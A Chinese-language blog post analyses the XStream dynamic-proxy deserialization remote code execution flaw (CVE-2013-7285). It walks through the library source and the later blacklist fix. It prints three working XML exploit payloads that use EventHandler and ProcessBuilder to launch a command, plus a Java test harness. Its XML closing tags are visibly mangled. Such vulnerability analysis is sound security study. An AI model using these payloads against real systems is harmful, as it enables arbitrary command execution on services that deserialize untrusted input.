XStream很贴心的列出了所有cve
https://x-stream.github.io/security.html
当XStream反序列化了一个动态代理类,再调用该动态代理类所声明的接口的方法时,就能够触发任意命令执行
XStream序列化和反序列化分析:https://ho1aas.blog.csdn.net/article/details/126250860
动态代理:https://ho1aas.blog.csdn.net/article/details/121647387
XStream 1.4-1.4.6、1.4.10
主流的PoC有以下三种:但原理都一样的
interface是包含至少一个方法的任意public接口
<contact class='dynamic-proxy'>
<interface>java.lang.Runnableinterface>
<handler class='java.beans.EventHandler'>
<target class='java.lang.ProcessBuilder'>
<command>
<string>calcstring>
command>
target>
<action>startaction>
handler>
contact>
<sorted-set>
<string>foostring>
<contact class='dynamic-proxy'>
<interface>java.lang.Comparableinterface>
<handler class='java.beans.EventHandler'>
<target class='java.lang.ProcessBuilder'>
<command>
<string>calcstring>
command>
target>
<action>startaction>
handler>
contact>
sorted-set>
<tree-map>
<entry>
<string>fookeystring>
<string>foovaluestring>
entry>
<entry>
<contact class='dynamic-proxy'>
<interface>java.lang.Comparableinterface>
<handler class='java.beans.EventHandler'>
<target class='java.lang.ProcessBuilder'>
<command>
<string>calcstring>
command>
target>
<action>startaction>
handler>
contact>
<string>goodstring>
entry>
tree-map>
对于官方PoC需要手动调用反序列化对象的interface里面声明的方法
package OneFourSix;
import com.thoughtworks.xstream.XStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
public class Main {
public static void main(String[] args) throws FileNotFoundException {
FileInputStream fis = new FileInputStream("payload.xml");
XStream xStream = new XStream();
Runnable r = (Runnable) xStream.fromXML(fis);
r.run();
}
}
其他两个直接触发即可
首先HierarchicalStreams.readClassType
获取序列化对象的类
调用readClassAttribute获取标签,然后根据标签调用mapper.realClass
获取Class对象
跟进,mapper是自子类向上到父类查找的,来到DynamicProxyMapper.realClass()
,动态代理类的标签别名是dynamic-proxy,于是返回了动态代理类对象
返回之前还把查找结果缓存起来了
回到主方法,接下来就是反序列化的关键步骤
获取动态代理类的converter
之后就是反序列化流程,具体可以看我上一篇博客关于源码分析,最后反序列化了一个动态代理类
由于加入了EventHandler监听器,动态代理类指定了接口,因此调用该接口的方法前就会触发eventHandler(动态代理),因为此时的接口实现类是被handler所持有,先调用eventHandler的方法
有个非常大的缺点就是:如何在目标调用接口的方法,或者说不知道目标会调用哪个接口的哪个方法,因为监听接口调用方法才能触发。sorted-set和tree-map解决了这个问题。
俩payload原理是一致的,在反序列化过程中:对于set和map对象,首先实例化其中的元素,再把它们添加进set和map,在添加过程中遵守定义,会调用java.lang.Comparable接口的compareTo方法比较元素。所以添加一个其他元素和一个动态代理类在set、map中,添加的时候就会触发compareTo方法比较,进而触发handler的target.action。这就解决了找接口的问题
首先识别到了SortedSet类
对应的converter是TreeSetConverter
之后跟到TreeSetConverter.unmarshal()
来到populateTreeMap
实例化空map
把第一个元素缓存到了map里面
然后调用populateMap
之后就是循环取出第1个之后的所有元素存到sortedMap,这里取到的子元素在addCurrentElementToCollection方法中已经反序列化完毕了,细节可以看看该方法
这里有点乱,总而言之经过populateMap方法,标签里面的所有对象都已经被反序列化取出来存放在sortedMap里面了
这个sortedMap只是一个缓存的地方,真正的返回值是TreeSet。之后判断JVM是否全部缓存好元素了,然后把sortedMap的缓存元素全部放入TreeSet作为反序列化的返回对象
在TreeMap的putAll方法中,调用了compareTo方法,比较了第二个动态代理类和第一个key String
流程总结:
通过复合对象的特性从而触发了RCE
1.4.11运行,安全报警
在convertAnother后加入了一个InternalBlackList,是一个converter,黑名单过滤危险类
private class InternalBlackList implements Converter {
private InternalBlackList() {
}
public boolean canConvert(Class type) {
return type == Void.TYPE || type == Void.class || !XStream.this.securityInitialized && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
}
public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new ConversionException("Security alert. Marshalling rejected.");
}
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
throw new ConversionException("Security alert. Unmarshalling rejected.");
}
直接把这几个类拉黑了,匹配到这几个类直接抛出异常,,因此在动态代理反序列化handler的时候直接就ban了
https://x-stream.github.io/security.html#framework
另外官方还开发了安全框架,提供黑白名单机制让开发者自由选择可反序列化类
https://x-stream.github.io/CVE-2013-7285.html
https://www.mi1k7ea.com/2019/10/21/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://ho1aas.blog.csdn.net/article/details/126297121
版权声明:本文为原创,转载时须注明出处及本声明